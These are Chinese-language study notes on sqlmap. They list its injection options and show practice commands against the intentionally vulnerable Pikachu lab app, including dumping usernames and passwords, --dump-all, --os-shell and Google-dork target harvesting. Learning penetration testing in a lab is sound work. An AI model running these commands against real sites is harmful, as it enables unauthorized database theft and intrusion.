-u指定目标URL (可以是http协议也可以是https协议)
-d连接数据库
--dbs列出所有的数据库
--current-db列出当前数据库
--tables列出当前的表
--columns列出当前的列
-D选择使用哪个数据库
-T选择使用哪个表
-C选择使用哪个列
--dump获取字段中的数据
--dump-all 拖库
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
-f fingerprint 获取指纹信息
--tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
--delay 设置多久访问一次
--os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level
设置注入探测等级共有五个等级,默认为1级, 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
--is-dba 判断当前用户是否为数据库管理员权限
--risk 风险等级
--identify-waf 检测防火墙类型
--param-del="分割符" 设置参数的分割符
--skip-urlencode不进行url编码
--keep-alive设置持久连接,加快探测速度
--null-connection检索没有body响应的内容,多用于盲注
--thread最大为10 设置多线程
--delay
有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时
--safe-url 有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。
--technique 指定注入类型
B:Boolean-based-blind (布尔型型注入)
E:Error-based (报错型注入)
U:Union query-based (联合注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
--dump --smart --batch 自动得到所有信息
服务型数据库(提前知道数据库用户名和密码):
Eg:python sqlmap.py -d” mysql://admin:[email protected]:3306/testdb” -f --banner --dbs --users
文件型数据库(提前知道数据库的绝对路径)
Pikachu post 型
数字型注入
抓个包,在sqlmap中查询所有数据库 --dbs
得到结果如图所示
获取数据库名称和数据库版本 --current -db
获得pikchu数据库中的表单 -D pikachu --tables
获取user表中的全部列 -D pikachu -T users -columns
获取其中的账号密码 -D pikachu -T users -C username,password --dump
Pikachu2:get型
Python sqlmap.py -u "http://127.0.0.1:8080/pikachu/vul/sqli/sqli_str.php?name=hello&submit=%E6%9F%A5%E8%AF%A2" (--current-db) --smart --batch
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-x 从sitemap.xml站点地图中读取目标探测
-m 从文本文件中读取HTTP请求作为sql注入探测的目标
-c 从配置文件sqlmap.conf中读取目标探测
抓包,test文档里有信息,将test粘贴到salmap中
-G:自动利用Google获取指定Google hack 的目标,然后利用交互向导模式进行SQL注入探测
Eg:python sqlmap.py -g “inurl:.php?id=1”
Sqlmap会自动在探测过程中使用适合的HTTP请求方法。但有时候SQLmap不能切换到对应的HTTP方法,而导致探测失败,需要强制的使用具体的HTTP请求方法。
例如put请求方法。HTTP put请求方法不会自动使用,因此我们需要强制指定。使用--method=PUT
默认情况,执行http请求的HTTP方法是GET,但是可以通过加上--data=””改为post,或者使用--method=po's't
Post提交
-u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2"
需要写--data里面
Get提交
-u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"
在url里面
Eg:python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
-f fingerprint 指纹
某些情况下,sqlmap需要覆盖默认参数分隔符(例如& in GET和POST数据),才能正确地分割和单独处理每个参数。
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs -- users
参数拆分字符 --param-del 当get或post的数据需要用其他字符分割测试参数的时候需要用到此参数
--cookie
--cookie-del
--load-cookies
--drop-set-cookie
使用场景:
1、web应用需要登陆的时候。
2、你想要在这些头参数中测试SQL注入时。
Sqlmap使用cookie过程:
cookie其实就是身份识别
此处不加cookie的话可能会进行跳转出现302错误
因为你使用的是账号密码登录,获取登陆的cookie
不加cookie直接登录的话就相当于你没有输入账号和密码
当然跳转到另一个页面了
就不会到登录成功的页面
但是会出现一种情况
cookie值不是固定的
也就是你一开始使用cookie注入后
服务器返回给你一个cookie,这个返回的cookie不同于你一开始设置的cookie
返回的这个cookie是登陆成功后的cookie
所以我们之前的cookie注入就不能针对成功后的注入
我们现在对成功后的cookie进行测试
burp获取成功后的cookie可能需要点forward